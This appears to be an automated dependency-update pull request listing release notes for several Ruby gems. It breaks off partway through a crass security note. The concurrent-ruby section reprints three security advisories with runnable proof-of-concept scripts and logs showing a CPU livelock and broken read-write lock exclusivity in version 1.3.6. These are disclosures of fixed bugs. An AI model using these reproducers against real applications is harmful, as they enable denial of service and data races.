ActiveSupport::ProxyObjectin favor of Ruby's built-inBasicObject.Earlopain
stub_constnow accepts aexists: falseparameter to allow stubbing missing constants.Jean Boussier
Make
ActiveSupport::BacktraceCleanercopy filters and silencers on dup and clone.Previously the copy would still share the internal silencers and filters array, causing state to leak.
Jean Boussier
Updating Astana with Western Kazakhstan TZInfo identifier.
Damian Nelson
Add filename support for
ActiveSupport::Logger.logger_outputs_to?.logger = Logger.new('/var/log/rails.log') ActiveSupport::Logger.logger_outputs_to?(logger, '/var/log/rails.log')Christian Schmidt
Include
IPAddr#prefixwhen serializing anIPAddrusing theActiveSupport::MessagePackserializer.This change is backward and forward compatible — old payloads can still be read, and new payloads will be readable by older versions of Rails.
Taiki Komaba
Add
default:support forActiveSupport::CurrentAttributes.attribute.class Current < ActiveSupport::CurrentAttributes attribute :counter, default: 0 endSean Doyle
Yield instance to
Object#withblock.client.with(timeout: 5_000) do |c| c.get("/commits") endSean Doyle
Use logical core count instead of physical core count to determine the default number of workers when parallelizing tests.
Jonathan Hefner
Fix
Time.now/DateTime.now/Date.todayto return results in a system timezone after#travel_to.There is a bug in the current implementation of #travel_to: it remembers a timezone of its argument, and all stubbed methods start returning results in that remembered timezone. However, the expected behavior is to return results in a system timezone.
Aleksei Chernenkov
Add
ErrorReported#unexpectedto report precondition violations.For example:
def edit if published? Rails.error.unexpected("[BUG] Attempting to edit a published article, that shouldn't be possible") return false end # ... endThe above will raise an error in development and test, but only report the error in production.
Jean Boussier
Make the order of read_multi and write_multi notifications for
Cache::Store#fetch_multioperations match the order they are executed in.Adam Renberg Tamm
Make return values of
Cache::Store#writeconsistent.The return value was not specified before. Now it returns
trueon a successful write,nilif there was an error talking to the cache backend, andfalseif the write failed for another reason (e.g. the key already exists andunless_exist: truewas passed).Sander Verdonschot
Fix logged cache keys not always matching actual key used by cache action.
Hartley McGuire
Improve error messages of
assert_changesandassert_no_changes.
assert_changeserror messages now display objects with.inspectto make it easier to differentiate nil from empty strings, strings from symbols, etc.assert_no_changeserror messages now surface the actual value.pcreux
Fix
#to_fs(:human_size)to correctly work with negative numbers.Earlopain
Fix
BroadcastLogger#dupso that it duplicates the logger'sbroadcasts.Andrew Novoselac
Fix issue where
bootstrap.rboverwrites thelevelof aBroadcastLogger'sbroadcasts.Andrew Novoselac
Fix compatibility with the
semantic_loggergem.The
semantic_loggergem doesn't behave exactly like stdlib logger in thatSemanticLogger#levelreturns a Symbol while stdlibLogger#levelreturns an Integer.This caused the various
LogSubscriberclasses in Rails to break when assigned aSemanticLoggerinstance.Jean Boussier, ojab
Fix MemoryStore to prevent race conditions when incrementing or decrementing.
Pierre Jambet
Implement
HashWithIndifferentAccess#to_proc.Previously, calling
#to_proconHashWithIndifferentAccessobject used inherited#to_procmethod from theHashclass, which was not able to access values using indifferent keys.fatkodima
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ bigdecimal (indirect, 3.2.2 → 4.1.2) · Repo · Changelog
Release Notes
4.1.2
What's Changed
- Optimize BigDecimal#to_s by @byroot in #519
- Fix calloc-transposed-args warning by @nobu in #520
- Use '0'+n for converting single digit to char by @tompng in #521
- Revert "Add a workaround for slow BigDecimal#to_f when it has large N_significant_digits" by @tompng in #522
- BigMath.exp overflow/underflow check by @tompng in #523
- Fix unary minus on unsigned type warning by @tompng in #525
- Update dtoa to version from Ruby 4.0 by @jhawthorn in #528
- Bump version to v4.1.2 by @tompng in #529
New Contributors
- @jhawthorn made their first contribution in #528
Full Changelog: v4.1.1...v4.1.2
4.1.1
What's Changed
- Define
testas the default rake task by @byroot in #509- Add changelog for 4.1.0. by @simi in #508
- Make BigDecimal object embedded by @byroot in #507
- Remove unused minitest from Gemfile by @byroot in #510
- Multiplication with 8-decdig batch by @tompng in #501
- Increase VpMult batch size by @tompng in #511
- Update to cover change in Bundler by @brandonzylstra in #512
- tiny grammar fix in README.md by @brandonzylstra in #513
- Add a workaround for slow BigDecimal#to_f when it has large N_significant_digits by @tompng in #514
- Bump version to v4.1.1 by @tompng in #516
New Contributors
- @byroot made their first contribution in #509
- @simi made their first contribution in #508
- @brandonzylstra made their first contribution in #512
Full Changelog: v4.1.0...v4.1.1
4.1.0
What's Changed
- Remove ENABLE_NUMERIC_STRING flag by @tompng in #479
- Sample code without deprecated modules by @tompng in #480
- Improve performance of add/sub when exponent of two bigdecimals have huge difference by @tompng in #478
- Change frozen_string_literal from false to true by @tompng in #481
- NTT multiplication and Newton-Raphson division by @tompng in #407
- Implement BigMath::PI with Gauss-Legendre algorithm by @tompng in #434
- Improve taylor series calculation of exp and sin by bit burst algorithm by @tompng in #433
- Remove calculating log(10) in BigMath.log for large/small x by @tompng in #484
- Add missing call-seq by @tompng in #485
- Split internal extra calculation prec and BigDecimal.double_fig usage by @tompng in #486
- Add RBS signature and testing by @ksss in #488
- Add missing sig file by @ksss in #492
- Simplify butterfly operation of Number Theoretic Transform by @tompng in #496
- Assume always have uint64_t by @tompng in #497
- Use bit_length to calculate NTT bit size by @tompng in #498
- Update depend files, etc by @tompng in #499
- Fix erfc(x,prec) precision when x is huge by @tompng in #502
- Increase BigMath converge test precisions by @tompng in #503
- Fix error compiling with ruby.wasm by @tompng in #504
- Bump version to 4.1.0 by @tompng in #505
New Contributors
Full Changelog: v4.0.1...v4.1.0
4.0.1
What's Changed
- Exclude dependabot updates from release note by @hsbt in #474
- Remove unused variable (and add test for it) by @tompng in #475
- Remove "Which version should you select" section by @tompng in #476
- Bump version to v4.0.1 by @tompng in #477
Full Changelog: v4.0.0...v4.0.1
4.0.0
What's Changed
- Fix x**y, x.power(y, 0) and x.sqrt(0) calculates huge digits if precision limit is huge by @tompng in #445
- Implement major math functions by @tompng in #336
- Fix fast-path of frac and _decimal_shift affected by BigDecimal.limit by @tompng in #447
- Update the latest versions of actions by @hsbt in #449
- Add missing bigmath precision test, add missing indent by @tompng in #450
- Make BigMath.exp and log also a module_method by @tompng in #452
- Fix incorrect exception when exponent is fractional for Infinity base by @troy-dunamu in #453
- Bump step-security/harden-runner from 2.13.1 to 2.13.2 by @dependabot[bot] in #454
- Don't use assert_separatly if not needed by @tompng in #455
- Bump actions/checkout from 5.0.0 to 6.0.0 by @dependabot[bot] in #456
- Bump actions/checkout from 5.0.1 to 6.0.0 by @dependabot[bot] in #457
- Add missing BigMath test for jruby by @tompng in #459
- Change remainder/modulo/divmod test of +0/-0 type tolerant by @tompng in #460
- Cast divmod quotient to int by @mrzasa in #312
- Bump actions/checkout from 6.0.0 to 6.0.1 by @dependabot[bot] in #462
- Bump step-security/harden-runner from 2.13.2 to 2.13.3 by @dependabot[bot] in #461
- Implement BigMath.erf(x, prec) and BigMath.erfc(x, prec) by @tompng in #357
- Implement BigMath.gamma and BigMath.lgamma by @tompng in #451
- Fix typos + improve copy/paste in readme by @tas50 in #463
- Fix inaccurate calculation (last digit) and add a workaround for add/sub hang bug by @tompng in #465
- Fix lgamma precision around 1 and 2 by @tompng in #466
- Fix lgamma precision when gamma(negative_x).abs nearly equals 1 by @tompng in #467
- Implement BigMath.frexp and ldexp with exponent of 10 by @tompng in #448
- Bump step-security/harden-runner from 2.13.3 to 2.14.0 by @dependabot[bot] in #468
- Better rounding of BigMath.atan(nearly_one, prec) by @tompng in #469
- Remove deprecated method BigDecimal#precs by @tompng in #470
- Deprecate ludcmp, jacobian and newton by @tompng in #471
- Bump version to v4.0.0 by @tompng in #472
New Contributors
- @troy-dunamu made their first contribution in #453
- @tas50 made their first contribution in #463
Full Changelog: v3.3.1...v4.0.0
3.3.1
What's Changed
- Fix modulo/remainder of negative zero by @tompng in #441
- Unify all precision validation to be consistent with BigDecimal#add by @tompng in #442
- Bump version to 3.3.1 by @tompng in #443
Full Changelog: v3.3.0...v3.3.1
3.3.0
What's Changed
- Allow calling Rational#to_d without arguments by @fsateler in #421
- Fix test_no_memory_leak failure by @tompng in #424
- Change BigMath.sin and cos to always calculate in relative precision. by @tompng in #422
- Faster exp calculation by @tompng in #399
- Rename assert_relative_precision to assert_converge_in_precision by @tompng in #425
- Add support for tangent function by @rhannequin in #231
- Make bigdecimal.rb work in JRuby by @tompng in #420
- BigMath methods common interface: coerce x, validate prec, check nan error by @tompng in #415
- Round result of sqrt and BigMath methods by @tompng in #427
- Update example calculation result in BigMath document by @tompng in #428
- BigMath.log(0,n)==-Infinity just like Math.log(0) by @tompng in #430
- Fix divmod and modulo by infinity to match Float#divmod and Float#modulo by @tompng in #429
- Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #431
- Make internal BigMath method a private method by @tompng in #432
- Improve performance of x**y when y is a huge value by @tompng in #438
- Fix precision of x.power(y, prec) when the result is nearly infinity by @tompng in #439
- Bump version to 3.3.0 by @tompng in #437
New Contributors
Full Changelog: v3.2.3...v3.3.0
3.2.3
What's Changed
- Fix sign of bigdecimal**bigint by @tompng in #341
- Fix BigMath.atan precision safe margin by @tompng in #320
- Fix typo in BigDecimal#scale comment by @timcraft in #348
- Allow BigDecimal accept Float without precision by @mrzasa in #314
- Fix edgecase segfault of BigDecimal#remainder by @tompng in #349
- Fix precision of BigMath.sin(x,prec) and BigMath.cos(x,prec) for large x by @tompng in #346
- Fix wrong converge check in VpSqrt by @tompng in #353
- Bump step-security/harden-runner from 2.12.0 to 2.12.1 by @dependabot[bot] in #356
- Ensure BigMath.sin and BigMath.cos to be within -1..1 by @tompng in #317
- Remove BigDecimal_divremain(which has a bug) and use BigDecimal_DoDivmod instead by @tompng in #351
- Bump step-security/harden-runner from 2.12.1 to 2.12.2 by @dependabot[bot] in #359
- Remove back pointer from Real to VALUE by @tompng in #344
- Update docs for #to_d core extensions by @dduugg in #360
- Fix compiling issue (when BIGDECIMAL_DEBUG is 1) by @tompng in #363
- Use a correct term: engineering notation -> scientific notation by @mame in #365
- Fix to_f underflow check when DECDIG is uint16_t by @tompng in #364
- Fix VpNumOfChars calculation for the longest case by @tompng in #366
- Fix a bug that exponent overflow is ignored in add, sub, mult and div operation by @tompng in #367
- Fix dump/load bigdecimal with few or large precs by @tompng in #362
- Refactor AddExponent overflow/underflow check by @tompng in #368
- Strict BigDecimal("0.1e#{exponent}") exponent overflow/underflow check by @tompng in #369
- Add DECDIG=16bit CI workflow by @tompng in #370
- Fix wrong multiplying BASE_FIG in precision calculation by @tompng in #372
- Remove debug print by @tompng in #375
- Remove unused #define macros by @tompng in #376
- VpDivd bugfix by @tompng in #374
- Fix VpDivd to fully use quotient array by @tompng in #377
- Add RB_GC_GUARD to test-only methods by @tompng in #378
- Use minimum necessary division precision in BigDecimal_DoDivmod by @tompng in #371
- Remove dead code and ineffective optimization path form VpDivd by @tompng in #379
- Implement exp, log, power and ** in ruby by @tompng in #347
- Remove unused "# define" macros by @tompng in #382
- Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #383
- VpFormatSt O(n^2) to O(n) by @tompng in #384
- Ignore ndigits passed to BigDecimal(string, ndigits) by @tompng in #385
- Better error message for negative**intinite and zero-converge case fix by @tompng in #386
- Refactor truncate floor and ceil duplicated part by @tompng in #387
- Fix exp log power to raise "Computation results in Infinity/NaN" in EXCEPTION_INFINITY/EXCEPTION_NaN mode by @tompng in #389
- Reduce guard obj by @tompng in #390
- Remove ENTER and GUARD_OBJ macro by @tompng in #391
- Coerce to bigdecimal refactor by @tompng in #392
- Coerce rational with the given prec in exp, log and power calculation by @tompng in #393
- Unify coerce prec calculation by @tompng in #394
- Use bool instead of Qtrue/Qfalse for normal c boolish value by @tompng in #395
- Fix adjusting x to 0.3..3 in log calculation by @tompng in #397
- missing.h cleanup by @tompng in #396
- Hide internal method of BigMath into BigDecimal::Internal by @tompng in #400
- Remove gc_compaction test by @tompng in #401
- Bump actions/checkout from 4 to 5 by @dependabot[bot] in #402
- Fix VpMult result size calculation by @tompng in #403
- Fix GetAddSubPrec calculation by @tompng in #406
- Fix PrecLimit not restored on exception by @tompng in #405
- Fix div,modulo,remainder and divmod precision when prec limit is specified by @tompng in #408
- Fix x.fix and x.frac affected by prec limit, Stop -x and x.abs round with prec limit by @tompng in #409
- Don't use ZeroWrapLimited. Use unlimited version instead. by @tompng in #410
- Fix
x / yprecision when prec limit is huge by @tompng in #412- Calculate exp, log, pow with the given prec even if prec limit is set by @tompng in #411
- Simplify to_i logic by @tompng in #413
- Add BigMath::E and BigMath::PI precision test by @tompng in #414
- Rewrite BigDecimal#sqrt in ruby with improved Newton's method by @tompng in #381
- Update bigdecimal version used in benchmark from 3.0.0 to 3.1.1 by @tompng in #416
- Implement BigDecimal#_decimal_shift for internal use by @tompng in #324
- In JRuby, don't add sqrt, exp, log, power implemented in ruby by @tompng in #417
- Add JRuby minimum ci by @tompng in #418
- Bump version to 3.2.3 by @tompng in #419
New Contributors
Full Changelog: v3.2.2...v3.2.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ concurrent-ruby (indirect, 1.3.5 → 1.3.8) · Repo · Changelog
Security Advisories 🚨
🚨 Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`
Summary
Concurrent::AtomicReference#updatecan enter a permanent busy retry loop when the current value isFloat::NAN.The issue is caused by the interaction between:
AtomicReference#update, which retries untilcompare_and_set(old_value, new_value)succeeds.- Numeric
compare_and_set, which checksold == old_valuebefore attempting the underlying atomic swap.- Ruby NaN semantics, where
Float::NAN == Float::NANis alwaysfalse.As a result, once an
AtomicReferencecontainsFloat::NAN, calling#updaterepeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in anAtomicReference, this can cause CPU exhaustion or permanent request/job hangs.Version
Software: concurrent-ruby
Version: 1.3.6
Commit: 7a1b789Details
AtomicReference#updateretries untilcompare_and_setreturns true:def update true until compare_and_set(old_value = get, new_value = yield(old_value)) new_value endFor numeric expected values,
compare_and_setuses numeric equality before attempting the underlying atomic compare-and-set:def compare_and_set(old_value, new_value) if old_value.kind_of? Numeric while true old = get return false unless old.kind_of? Numeric return false unless old == old_value result = _compare_and_set(old, new_value) return result if result end else _compare_and_set(old_value, new_value) end endWhen the stored value is
Float::NAN,old_value = getreturns NaN. The later comparisonold == old_valueis false because NaN is not equal to itself.compare_and_settherefore returns false every time.AtomicReference#updatetreats that as a failed concurrent update and retries forever.This is reachable through the public
Concurrent::AtomicReferenceAPI and does not require native extensions or undefined behavior.PoC
#!/usr/bin/env ruby # frozen_string_literal: true require 'concurrent/atomic/atomic_reference' require 'concurrent/version' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN" ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false worker = Thread.new do ref.update do |_old_value| attempts += 1 0.0 end finished = true end sleep 0.25 puts "nan_update_attempts_after_250ms=#{attempts}" puts "nan_update_finished=#{finished}" puts "nan_update_worker_alive=#{worker.alive?}" if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOT_REPRODUCED' end worker.kill worker.join control = Concurrent::AtomicReference.new(1.0) control_attempts = 0 control_result = control.update do |old_value| control_attempts += 1 old_value + 1.0 end puts "control_update_result=#{control_result.inspect}" puts "control_update_attempts=#{control_attempts}" puts "control_update_final_value=#{control.value.inspect}"Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nan_update_attempts_after_250ms=1926016 nan_update_finished=false nan_update_worker_alive=true result=REPRODUCED busy retry loop; update did not complete control_update_result=2.0 control_update_attempts=1 control_update_final_value=2.0Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a
Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to becomeFloat::NAN. Any later call toAtomicReference#updateon that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.Credit
Pranjali Thakur - depthfirst (depthfirst.com)
🚨 Concurrent Ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity
Summary
Concurrent::ReentrantReadWriteLockcan incorrectly grant a write lock after one thread acquires the read lock 32,768 times.The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as
WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit.try_write_lockthen treats the thread as already holding a write lock and returnstruewithout setting the globalRUNNING_WRITERbit.This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.
Version
Software: concurrent-ruby
Version: 1.3.6
Commit: 7a1b789Details
The implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:
READER_BITS = 15 WRITER_BITS = 14 WAITING_WRITER = 1 << READER_BITS RUNNING_WRITER = 1 << (READER_BITS + WRITER_BITS) MAX_READERS = WAITING_WRITER - 1 MAX_WRITERS = RUNNING_WRITER - MAX_READERS - 1 WRITE_LOCK_HELD = 1 << READER_BITS READ_LOCK_MASK = WRITE_LOCK_HELD - 1 WRITE_LOCK_MASK = MAX_WRITERSWhen a thread already holds a lock,
acquire_read_lockincrements@HeldCount:if (held = @HeldCount.value) > 0 if held & READ_LOCK_MASK == 0 @Counter.update { |c| c + 1 } end @HeldCount.value = held + 1 return true endAfter 32,768 read acquisitions, the per-thread held count becomes
32768, which is equal toWRITE_LOCK_HELD. Thentry_write_lockreturns success through its "already have a write lock" branch:def try_write_lock if (held = @HeldCount.value) >= WRITE_LOCK_HELD @HeldCount.value = held + WRITE_LOCK_HELD return true else # normal global writer acquisition path end endThis branch does not set the global
RUNNING_WRITERbit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.PoC
#!/usr/bin/env ruby # frozen_string_literal: true require 'concurrent/atomic/reentrant_read_write_lock' require 'concurrent/version' require 'thread' def wait_for_queue(queue, timeout_seconds) deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout_seconds loop do return queue.pop(true) rescue ThreadError return nil if Process.clock_gettime(Process::CLOCK_MONOTONIC) >= deadline sleep 0.001 end end puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity" lock = Concurrent::ReentrantReadWriteLock.new other_reader_ready = Queue.new other_reader_stop = Queue.new other_reader = Thread.new do lock.acquire_read_lock other_reader_ready << :held other_reader_stop.pop end wait_for_queue(other_reader_ready, 1) puts "other_thread_holds_read_lock=true" depth = Concurrent::ReentrantReadWriteLock::WRITE_LOCK_HELD depth.times { lock.acquire_read_lock } held_count = lock.instance_eval { @HeldCount.value } counter_before = lock.instance_eval { @Counter.value } puts "main_thread_read_acquisitions=#{depth}" puts "main_thread_held_count=#{held_count}" puts "counter_before_try_write=#{counter_before}" puts "running_writer_bit_before=#{(counter_before & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}" write_granted = lock.try_write_lock counter_after = lock.instance_eval { @Counter.value } puts "try_write_lock_returned=#{write_granted}" puts "counter_after_try_write=#{counter_after}" puts "running_writer_bit_after=#{(counter_after & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}" third_reader_ready = Queue.new third_reader = Thread.new do lock.acquire_read_lock third_reader_ready << :acquired end third_reader_acquired = wait_for_queue(third_reader_ready, 0.25) == :acquired puts "new_reader_acquired_while_write_claimed=#{third_reader_acquired}" if write_granted && third_reader_acquired && (counter_after & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER).zero? puts 'result=REPRODUCED write lock granted without setting global writer state' else puts 'result=NOT_REPRODUCED' end third_reader.kill other_reader_stop << :stop other_reader.killLog evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity other_thread_holds_read_lock=true main_thread_read_acquisitions=32768 main_thread_held_count=32768 counter_before_try_write=2 running_writer_bit_before=false try_write_lock_returned=true counter_after_try_write=2 running_writer_bit_after=false new_reader_acquired_while_write_claimed=true result=REPRODUCED write lock granted without setting global writer stateImpact
This breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
🚨 Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption
Summary
Concurrent::ReadWriteLock#release_write_lockdoes not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.
Concurrent::ReadWriteLock#release_read_lockalso decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from0to-1, after which normal read acquisition raisesConcurrent::ResourceLimitError.This is a synchronization correctness issue in the public
Concurrent::ReadWriteLockAPI. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.Version
Software: concurrent-ruby
Version: 1.3.6
Commit: 7a1b789Details
release_write_lockchecks only whether the global counter indicates that a writer is running. It does not track or verify ownership:def release_write_lock return true unless running_writer? c = @Counter.update { |counter| counter - RUNNING_WRITER } @ReadLock.broadcast @WriteLock.signal if waiting_writers(c) > 0 true endBecause ownership is not checked, a different thread can clear the
RUNNING_WRITERbit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.
release_read_lockunconditionally decrements the shared counter:def release_read_lock while true c = @Counter.value if @Counter.compare_and_set(c, c-1) if waiting_writer?(c) && running_readers(c) == 1 @WriteLock.signal end break end end true endOn a fresh lock, this changes the counter from
0to-1. A lateracquire_read_lockraisesConcurrent::ResourceLimitErrorbecause the maximum-reader check masks the negative counter as saturated.Reproduce
From the root of a
concurrent-rubycheckout, run:ruby -Ilib/concurrent-ruby - <<'RUBY' require 'concurrent/atomic/read_write_lock' require 'concurrent/version' require 'thread' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=ReadWriteLock release methods corrupt or bypass lock state" lock = Concurrent::ReadWriteLock.new events = Queue.new writer1_inside = false writer1 = Thread.new do lock.acquire_write_lock writer1_inside = true events << :writer1_acquired sleep 0.5 writer1_inside = false lock.release_write_lock events << :writer1_finished end events.pop puts 'writer1_acquired=true' intruder_result = nil intruder = Thread.new do intruder_result = lock.release_write_lock end intruder.join puts "wrong_thread_release_write_lock_returned=#{intruder_result}" writer2_entered_while_writer1_inside = nil writer2 = Thread.new do lock.acquire_write_lock writer2_entered_while_writer1_inside = writer1_inside lock.release_write_lock end writer2.join(0.25) puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}" writer1.join lock2 = Concurrent::ReadWriteLock.new stray_read_release_result = lock2.release_read_lock counter_after_stray_read_release = lock2.instance_eval { @Counter.value } read_after_stray_release = begin lock2.acquire_read_lock 'acquired' rescue => error "#{error.class}: #{error.message}" end puts "stray_release_read_lock_returned=#{stray_read_release_result}" puts "counter_after_stray_read_release=#{counter_after_stray_read_release}" puts "acquire_read_after_stray_release=#{read_after_stray_release}" if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1 puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption' else puts 'result=NOT_REPRODUCED' endExpected result:
- A second thread successfully calls
release_write_lockwhile the first writer still holds the lock.- A second writer enters while the first writer is still inside the write critical section.
- Calling
release_read_lockon a fresh lock changes the counter to-1.- A subsequent read acquisition fails with
Concurrent::ResourceLimitError.Log evidence
Local reproduction output:
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=ReadWriteLock release methods corrupt or bypass lock state writer1_acquired=true wrong_thread_release_write_lock_returned=true writer2_acquired_while_writer1_inside=true stray_release_read_lock_returned=true counter_after_stray_read_release=-1 acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads result=REPRODUCED wrong-thread write release and stray read-release corruptionImpact
This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.
The impact is local to applications that expose or misuse the manualacquire_*/release_*APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.Credit
Pranjali Thakur - depthfirst (depthfirst.com)
Release Notes
1.3.8
What's Changed
- Programatically set the
backtrace_locationon exception by @Edouard-chin in #1107- Allow to use Concurrent::Map#compute_if_absent in a Ractor by @Edouard-chin in #1109
New Contributors
- @Edouard-chin made their first contribution in #1107
Full Changelog: v1.3.7...v1.3.8
1.3.7
There are 3 security fixes in this release, so updating is recommended.
These security vulnerabilities are not very likely to be hit in practice and have a correspondingLowseverity score.What's Changed
- CVE-2026-54904
AtomicReference#updatelivelocks when the stored value isFloat::NAN. Fix by @joshuay03 and @eregon- CVE-2026-54905
ReentrantReadWriteLockread-count overflow grants a write lock without exclusivity. Fix by @joshuay03- CVE-2026-54906
ReadWriteLockallows wrong-thread write release and stray read-release counter corruption. Fix by @joshuay03- concurrent-ruby-ext: fix build on Darwin 32-bit by @barracuda156 in #1064
- Add SECURITY.md by @eregon in #1104
- Add Ruby 4.0 in CI by @eregon in #1106
New Contributors
- @barracuda156 made their first contribution in #1064
Full Changelog: v1.3.6...v1.3.7
1.3.6
What's Changed
- Run tests without the C extension in CI by @eregon in #1081
- Fix typo in Promise docs by @danieldiekmeier in #1083
- Correct word in readme by @wwahammy in #1084
- Fix mistakes in MVar documentation by @trinistr in #1087
- Fix multi require concurrent/executor/cached_thread_pool by @OuYangJinTing in #1085
- Use typed data APIs by @nobu in #1096
- Add Joshua Young to the list of maintainers by @eregon in #1097
- Asynchronous pruning for RubyThreadPoolExecutor by @joshuay03 in #1082
- Mark RubySingleThreadExecutor as a SerialExecutorService by @meineerde in #1070
- Allow TimerTask to be safely restarted after shutdown and avoid duplicate tasks by @bensheldon in #1001
- Flaky test fix: allow ThreadPool to shutdown before asserting completed_task_count by @bensheldon in #1098
ThreadPoolExecutor#killwillwait_for_terminationin JRuby; ensureTimerSettimer thread shuts down cleanly by @bensheldon in #1044New Contributors
- @danieldiekmeier made their first contribution in #1083
- @wwahammy made their first contribution in #1084
- @trinistr made their first contribution in #1087
- @OuYangJinTing made their first contribution in #1085
- @nobu made their first contribution in #1096
- @joshuay03 made their first contribution in #1082
Full Changelog: v1.3.5...v1.3.6
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 40 commits:
Release 1.3.8Allow to use Concurrent::Map#compute_if_absent in a Ractor (#1109)Programatically set the `backtrace_location` on exception:Release 1.3.7Fix AtomicReference#update livelock when stored value is Float::NAN on JRuby and TruffleRubyFix `ReentrantReadWriteLock` read hold overflow into write-lock bitFix `AtomicReference#update` livelock when stored value is `Float::NAN`Cleanup specFix `ReadWriteLock` wrong-thread write release and stray read releaseAdd Ruby 4.0 in CIAdd SECURITY.md (#1104)Bump actions/upload-pages-artifact from 4 to 5Bump actions/deploy-pages from 4 to 5concurrent-ruby-ext: fix build on Darwin 32-bitIncrease max waiting time in ReentrantReadWriteLock specs to avoid transientsRun the docs workflow when pushing a tagUpdate release post stepsRelease 1.3.6Exclude dependabot updates from release notesThreadPoolExecutor `kill` will `wait_for_termination` in JRuby; ensure TimerSet timer thread shuts down cleanlyFlaky test fix: allow ThreadPool to shutdown before asserting completed_task_count (#1098)Allow TimerTask to be safely restarted after shutdown and avoid duplicate tasks (#1001)Mark RubySingleThreadExecutor as a SerialExecutorServiceAsynchronous pruning for RubyThreadPoolExecutor (#1082)Add Joshua Young to the list of maintainers (#1097)Use typed data APIsUse stdatomic.h on recent macOSBump actions/checkout from 5 to 6Fix multi require concurrent/executor/cached_thread_poolAlways fail-fast: false in CIAvoid creating a Fiber while loading the gemBump actions/checkout from 4 to 5Bump actions/upload-pages-artifact from 3 to 4Fix mistakes in MVar documentationCorrect word in readmeFix typoAdd 3.4 in CIRun tests without the C extension in CIFix guards in specs using C extension classesDocument Bundler workaround for releasing
↗️ connection_pool (indirect, 2.5.3 → 3.0.2) · Repo · Changelog
Release Notes
3.0.2 (from changelog)
- Support :name keyword for backwards compatibility [#210]
3.0.1 (from changelog)
- Add missing
fork.rbto gemspec.
3.0.0 (from changelog)
- BREAKING CHANGES
ConnectionPoolandConnectionPool::TimedStacknow use keyword arguments rather than positional arguments everywhere. Expected impact is minimal as most people use thewithAPI, which is unchanged.pool = ConnectionPool.new(size: 5, timeout: 5) pool.checkout(1) # 2.x pool.reap(30) # 2.x pool.checkout(timeout: 1) # 3.x pool.reap(idle_seconds: 30) # 3.x
- Dropped support for Ruby <3.2.0
2.5.5 (from changelog)
- Support
ConnectionPool::TimedStack#pop(exception: false)[#207] to avoid using exceptions as control flow.
2.5.4 (from changelog)
- Add ability to remove a broken connection from the pool [#204, womblep]
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
bump, changesSupport :name keyword arg for backwards compat, #210Fix missing fork.rbdocsrefactor idle reaping for readabilityfix CI warningfork refactoringci tuningConnection Pool 3.0 (#209)Add benchmark to validate fast path performanceprep for releaseBump actions/checkout from 5 to 6 (#208)Support pop(exception: false) to avoid exceptions as control flow, fixes #207Adjust ractor testing to avoid needless stdout warningsdoc: explain weird codeAdd optional argument to discard_current_connection (#205)doc, bumpAdd the ability to discard the current connection (#204)Bump actions/checkout from 4 to 5 (#203)
↗️ crass (indirect, 1.0.6 → 1.0.7) · Repo · Changelog
Release Notes
1.0.7
Security
High: Fixed a denial of service vulnerability in which a large numeric exponent could consume disproportionate CPU and memory before the value was clamped. Exponents are now bounded before
